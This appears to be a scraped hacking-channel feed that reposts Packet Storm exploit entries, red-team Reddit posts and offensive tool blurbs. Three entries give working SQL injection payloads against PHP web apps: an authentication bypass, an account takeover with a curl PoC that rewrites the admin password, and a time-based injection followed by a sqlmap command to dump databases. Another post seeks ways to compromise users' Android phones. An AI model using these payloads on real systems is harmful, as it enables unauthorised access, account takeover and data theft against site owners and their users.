Exploit Collector
Online Employees Work From Home Attendance System 1.0 SQL Injection

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
Online Employees Work From Home Attendance System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 0f199816bb5eb94fffd8c5ab9afac30a

Download
# Exploit Title: Online Employees Work From Home Attendance System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14981/online-employees-work-home-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14981&title=Online+Employees+Work+From+Home+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Online Employees Work From Home Attendance System/Logs in a Web App v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /wfh_attendance/Actions.php?a=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Origin: http://merve
Connection: close
Referer: http://merve/wfh_attendance/admin/login.php
Cookie: PHPSESSID=55nnlgv0kg2qaki92o2s9vl5rq

username=admin'+or+'1'%3D'1&password=any


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Online College Entrance Exam System 1.0 Account Takeover

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
Simple Online College Entrance Exam System version 1.0 suffers from an account takeover vulnerability.

MD5 | 926ceb91ddfc68d28ba54bb2aa0efc50

Download
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.

Request:
POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 129

id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

Vulnerable code in Actions.php:
function update_credentials(){
extract($_POST);
$data = "";
foreach($_POST as $k => $v){
if(!in_array($k,array('id','old_password')) && !empty($v)){
if(!empty($data)) $data .= ",";
if($k == 'password') $v = md5($v);
$data .= " `{$k}` = '{$v}' ";
}
}
...
if(!empty($password) && md5($old_password) != $_SESSION['password']){
$resp['status'] = 'failed';
$resp['msg'] = "Old password is incorrect.";
}else{
$sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
@$save = $this->query($sql);

PoC that changes the password and username of user 'admin' to 'exploitdb':
curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IFSC Code Finder Project 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
IFSC Code Finder Project version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7c851fc475ce2325542258f58cc3bd96

Download
# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP
# Vulnerable Parameter: searchifsccode

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

--------------------------------------------------------------------------------
3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Offensive Cloud Security - SecurityLabs
https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/

Hey everyone, We are excited to share the first Offensive Cloud Security platform being released for early access. Signup now and be among the first few to get exclusive access and upscale yourself :) Visit : SecurityLabs (https://www.securitylabs.tech/) -- Founder 0xdeadbeef0000 submitted by /u/0xdeadbeef0000 (https://www.reddit.com/user/0xdeadbeef0000)
[link] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/) [comments] (https://www.reddit.com/r/redteamsec/comments/q43zmc/offensive_cloud_security_securitylabs/)

___________________________
@hacking_Attack
@Hacking_Video

Need help targetting users via android phone
https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/

Hi all, Next week, I will start working on a red team project which involves social engineering mobile only users. General email phishing with macro docs won't work. I am looking for ways to compromise users via their phone. Other than writing custom backdoored apks and luring victims to install them. Is there any other way to compromise the android phone? Also, custom apks might be flagged by Google Play Protect. submitted by /u/lutalop (https://www.reddit.com/user/lutalop)
[link] (https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/) [comments] (https://www.reddit.com/r/redteamsec/comments/q451vr/need_help_targetting_users_via_android_phone/)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tool: Whispers

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: WhispersPost Views: 230 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 4 Minutes

Offensive Security Tool: Whispers GitHub Link WhispersHardcoded secrets have always been a problem in organizations and are one of the first things Bug Bounty Hunters / Pentesters look for during a penetration test. When developers write secrets such as passwords and API keys directly into source code, these secrets can make their way to public repos or application packages, then into an attacker’s hands. As microservice architectures and API-centric applications become mainstream, developers often need to exchange credentials and other secrets programmatically. This means that developers can sometimes make mistakes when handling sensitive data.

Whispers by Skyscanner, is a static code analysis tool designed for parsing various common data formats in search of hardcoded credentials and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline. Detects* Passwords
* API tokens
* AWS keys
* Private keys
* Hashed credentials
* Authentication tokens
* Dangerous functions
* Sensitive files
See Also: Microsoft is disabling Excel 4.0 macros by default to protect users Supported FormatsWhispers is intended to be a structured text parser, not a code parser.

The following commonly used formats are currently supported:

* YAML
* JSON
* XML
* npmrc
* pypirc
* htpasswd
* properties
* pip.conf
* conf / ini
* Dockerfile
* Dockercfg
* Shell scripts
* Python3
Python3 files are parsed as ASTs because of native language support.
See Also: Offensive Security & Ethical Hacking Course Declaration & Assignment FormatsThe following language files are parsed as text, and checked for common variable declaration and assignment patterns:

* JavaScript
* Java
* Go
* PHP Special Formats* AWS credentials files
* JDBC connection strings
* Jenkins config files
* SpringFramework Beans config files
* Java Properties files
* Dockercfg private registry auth files
* Github tokens InstallationFrom PyPIpip3 install whispers From GitHubgit clone https://github.com/Skyscanner/whispers
cd whispers
make install UsageCLIwhispers –help
whispers –info
whispers source/code/fileOrDir
whispers –config config.yml source/code/fileOrDir
whispers –output /tmp/secrets.yml source/code/fileOrDir
whispers –rules aws-id,aws-secret source/code/fileOrDir
whispers –severity BLOCKER,CRITICAL source/code/fileOrDir
whispers –exitcode 7 source/code/fileOrDir Pythonfrom whispers.cli import parse_args
from whispers.core import run

src = “tests/fixtures”
configfile = “whispers/config.yml”
args = parse_args([“-c”, configfile, src])
for secret in run(args):
print(secret) ConfigThere are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions and several other parameters. There is a default configuration file built-in that will be used if you don’t provide a custom one.

config.yml should have the following structure:

include:
files:
– “**/*.yml”

exclude:
files:
– “**/test/**/*”
– “**/tests/**/*”
keys:
– ^foo
values:
– bar$

rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: True
The fastest way to tweak detection (ie: remove false positives and unwanted results) is[...]

___________________________
@hacking_Attack
@Hacking_Video

to copy the default config.yml into a new file, adapt it, and pass it as an argument to Whispers.

whispers –config config.yml –rules starks src/file/or/dir Custom RulesRules specify the actual things that should be pulled out from key-value pairs. There are several common ones that come built-in, such as AWS keys and passwords, but the tool is made to be easily expandable with new rules.
* Custom rules can be defined in the main config file under rules:
* Custom rules can be added to whispers/rules
rule-id: # unique rule name
description: Values formatted like AWS Session Token
message: AWS Session Token # report will show this message
severity: BLOCKER # one of BLOCKER, CRITICAL, MAJOR, MINOR, INFO

key: # specify key format
regex: (aws.?session.?token)?
ignorecase: True # case-insensitive matching

value: # specify value format
regex: ^(?=.*[a-z])(?=.*[A-Z])[A-Za-z0-9\+\/]{270,450}$
ignorecase: False # case-sensitive matching
minlen: 270 # value is at least this long
isBase64: True # value is base64-encoded
isAscii: False # value is binary data when decoded
isUri: False # value is not formatted like a URI

similar: 0.35 # maximum allowed similarity between key and value
# (1.0 being exactly the same) PluginsAll parsing functionality is implemented via plugins. Each plugin implements a class with the pairs() method that runs through files and returns the key-value pairs to be checked with rules.

class PluginName:
def pairs(self, file):
yield “key”, “value”
See Also: Offensive Security Tool: URL Hunter Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/Screenshot_20211001_133045-90x90.png Offensive Security Tool: URL Hunter1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unknown-90x90.png Offensive Security Tool: Discover2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/116777794-e9447880-aaa0-11eb-9697-af5f5617b279-90x90.png Offensive Security Tool: SniperPhish3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/jenkins-90x90.png Offensive Security Tool: Jenkins Attack Framework4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/pegasus-90x90.png Offensive Security Tool: Pegasus Spyware – Decompiled1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/FIbbZME-90x90.png Offensive Security Tool: Starkiller1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/0URVvVK54SOsx1MEq-90x90.png Offensive Security Tool: FFUF2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/687474703a2f2f633666632e696f2f77617263616e6e6f6e2d636c692e706e67-90x90.png Offensive Security Tool: Warcannon2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/2-7-90x90.png Offensive Security Tool: Mimikatz2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/Screenshot_20210729_145513-90x90.png Offensive Security Tool: Ruler2 months ago
The post Offensive Security Tool: Whispers first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Viper - Intranet Pentesting Tool With Webui
http://www.kitploit.com/2021/10/viper-intranet-pentesting-tool-with.html

___________________________
@hacking_Attack
@Hacking_Video

Viper is a graphical intranet penetration tool, which modularizes and weaponizes the tactics and technologies commonly used in the process of Intranet penetrationViper integrates basic functions such as bypass anti-virus software, intranet tunnel, file management, command line (https://www.kitploit.com/search/label/Command%20Line) and so onViper has integrated 80+ modules, covering Resource Development / Initial Access / Execution / Persistence / Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) / Defense Evasion / Credential Access / Discovery / Lateral Movement (https://www.kitploit.com/search/label/Lateral%20Movement) / Collection and other categoriesViper's goal is to help red team engineers improve attack efficiency, simplify operation and reduce technical thresholdViper supports running native msfconsole in browser and multi - person collaboration

___________________________
@hacking_Attack
@Hacking_Video

Website
https://www.yuque.com/viper-en (https://www.yuque.com/viper-en?language=en-us)
Installation manual
Installation manual (https://www.yuque.com/viper-en/inh85g/cvucxz?language=en-us)
FAQ
FAQ (https://www.yuque.com/viper-en/faq)
Issues
github issues : https://github.com/FunnyWolf/Viper/issueshttps://github.com/knownsec/404StarLink2.0-Galaxy#community
Modules
Document link (https://www.yuque.com/viper-en/module)
System architecture diagram

___________________________
@hacking_Attack
@Hacking_Video

Development Manual
Development Manual (https://www.yuque.com/viper-en/code)
Source Code
viperjs (Frontend)https://github.com/FunnyWolf/viperjsviperpython (Backend)https://github.com/FunnyWolf/viperpythonvipermsf (MSFRPC)https://github.com/FunnyWolf/vipermsf
Acknoladgement
Edward_Snowdeng exp Fnzer0 (https://github.com/Fnzer0)qingyun00 (https://github.com/qingyun00)脸谱 NoobFTW Somd5-小宇 timwhitez (https://github.com/timwhitez)ViCrack (https://github.com/ViCrack)xiaobei97 (https://github.com/xiaobei97)yumusb (https://github.com/yumusb)

Download Viper (https://github.com/FunnyWolf/Viper)

___________________________
@hacking_Attack
@Hacking_Video